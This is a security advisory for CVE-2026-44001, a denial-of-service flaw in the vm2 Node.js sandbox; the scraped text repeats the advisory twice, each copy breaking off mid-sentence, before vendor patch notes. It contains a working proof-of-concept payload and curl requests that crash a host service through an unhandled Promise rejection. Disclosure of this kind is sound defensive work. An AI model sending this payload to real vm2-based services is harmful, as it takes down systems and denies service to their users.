CVE-2026-44001

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0.

Summary

A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.

Details

When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.

• lib/setup-sandbox.js:38 — localPromise wraps the native Promise constructor but does not wrap the executor in try-catch.
• lib/setup-sandbox.js:165-230 — resetPromiseSpecies and the .then()/.catch() overrides sanitize the onRejected callback chains, but do not intercept unhandled rejections originating from the executor itself.

The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.

Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.

allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is guaranteed to be unhandled — making allowAsync: false paradoxically more dangerous than true for this vulnerability.

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");

// Works with ANY allowAsync setting — both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });

try {
  const result = vm.run(`
    new Promise(function(r, j) {
      var e = new Error();
      e.name = Symbol();
      e.stack;
    });
  `);
  console.log("Result:", result);   // Reaches here (returns Promise object)
} catch (err) {
  console.log("Caught:", err);       // Never executed
}

console.log("After try-catch");      // Also prints normally

// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help — vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE — .catch() is blocked,
// so the rejection is guaranteed to be unhandled.

HTTP demonstration (web service impact):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}

# 2. Send payload — server process will crash
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'

# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/  # => connection refused

Impact

• DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default — no special configuration is required for the crash to occur.
• Persistent DoS despite restart policies: Even when container orchestration…

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, a sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path. This vulnerability is fixed in 3.11.0.

Summary

A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.

Details

When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.

• lib/setup-sandbox.js:38 — localPromise wraps the native Promise constructor but does not wrap the executor in try-catch.
• lib/setup-sandbox.js:165-230 — resetPromiseSpecies and the .then()/.catch() overrides sanitize the onRejected callback chains, but do not intercept unhandled rejections originating from the executor itself.

The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.

Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.

allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is guaranteed to be unhandled — making allowAsync: false paradoxically more dangerous than true for this vulnerability.

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");

// Works with ANY allowAsync setting — both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });

try {
  const result = vm.run(`
    new Promise(function(r, j) {
      var e = new Error();
      e.name = Symbol();
      e.stack;
    });
  `);
  console.log("Result:", result);   // Reaches here (returns Promise object)
} catch (err) {
  console.log("Caught:", err);       // Never executed
}

console.log("After try-catch");      // Also prints normally

// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help — vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE — .catch() is blocked,
// so the rejection is guaranteed to be unhandled.

HTTP demonstration (web service impact):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}

# 2. Send payload — server process will crash
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'

# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/  # => connection refused

Impact

• DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default — no special configuration is required for the crash to occur.
• Persistent DoS despite restart policies: Even when container orchestration…

Root has patched CVE-2026-44001 in the vm2 package for Root:npm. Multiple fixed versions available.

TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.